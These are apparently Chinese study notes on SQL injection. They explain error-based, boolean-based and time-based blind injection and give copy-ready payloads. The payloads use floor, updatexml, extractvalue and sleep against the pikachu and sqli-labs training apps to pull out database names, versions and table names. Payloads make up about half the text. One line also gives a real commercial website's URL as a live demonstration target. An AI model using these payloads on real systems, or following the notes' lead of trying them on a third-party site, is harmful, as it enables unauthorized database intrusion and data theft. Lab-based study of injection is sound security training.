sql漏洞查询方式和报错盲注

数据库查询方式

select 查询数据

在网站应用中进行数据显示查询操作
例:select * from news where id=$id

insert 插入数据

在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,’x’,’$t’)

delete 删除数据

后台管理里面删除文章删除用户等操作
例:delete from news where id=$id

update 更新数据

会员或后台中心数据同步或缓存等操作
例:update user set pwd=’$p’ where id=2 and username=’admin’

重点理解:
我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的SQL查询方式

SQL注入报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

1、基于报错的SQL盲注-报错回显

floor,updatexml,extractvalue
原理:采用sql语句的特性使之报错回显在页面上

2、基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid
原理:通过sql语句逻辑判断信息内容

3、基于时间的SQL盲注-延时判断

if,sleep
select if(database()=’pikachu’,123,456);
原理:通过响应页面时长判断信息内容

192.168.80.140/sqlilabs/Less-5/?id=1’ and sleep(if(database()=’aaa’,5,0))

参考:
like ‘ro%’ #判断ro或ro…是否成立
regexp ‘^yucedu…’ #匹配yucedu及yucedu…等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b(第一位从1开始算)开始,截取a字符串的c位
substr(a,b,c) #从b位置开始,截取字符串a的c个字符
left(database(),1) #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否大于小于等于97
0=48 a=97 A=65

各种查询方式注入测试(报错盲注)
sqlilabs-less5注入测试(布尔盲注)
sqlilabs-less2注入测试(延时盲注)
网上实例演示 http://techmart.com.hk/Coating_Services/latest_news_detail.php?id=1

Payload:

pikachu insert

username=x’ or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ‘
&password=admin&sex=%E7%94%B7&phonenum=13333333333&email=fuzhou&add=fujian&submit=submit

username=x’ or updatexml(1,concat(0x7e,(version())),0) or ‘
&password=admin&sex=%E7%94%B7&phonenum=13333333333&email=fuzhou&add=fujian&submit=submit

username=x’ or extractvalue(1,concat(0x7e,database())) or ‘
&password=admin&sex=%E7%94%B7&phonenum=13333333333&email=fuzhou&add=fujian&submit=submit

pikachu update

sex=%E7%94%B7&phonenum=13333333333&add=hubeNicky’ or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or ‘&email=fuzhou&submit=submit

sex=%E7%94%B7&phonenum=13333333333&add=hubeNicky’ or updatexml(1,concat(0x7e,(version())),0) or ‘&email=fuzhou&submit=submit

sex=%E7%94%B7&phonenum=13333333333&add=Nicky’ or extractvalue(1,concat(0x7e,database())) or ‘&email=fuzhou&submit=submit

pikachu delete

/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

延时盲注:

and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0)–+

涉及资源

https://www.jianshu.com/p/bc35f8dd4f7c 12种报错注入+万能语句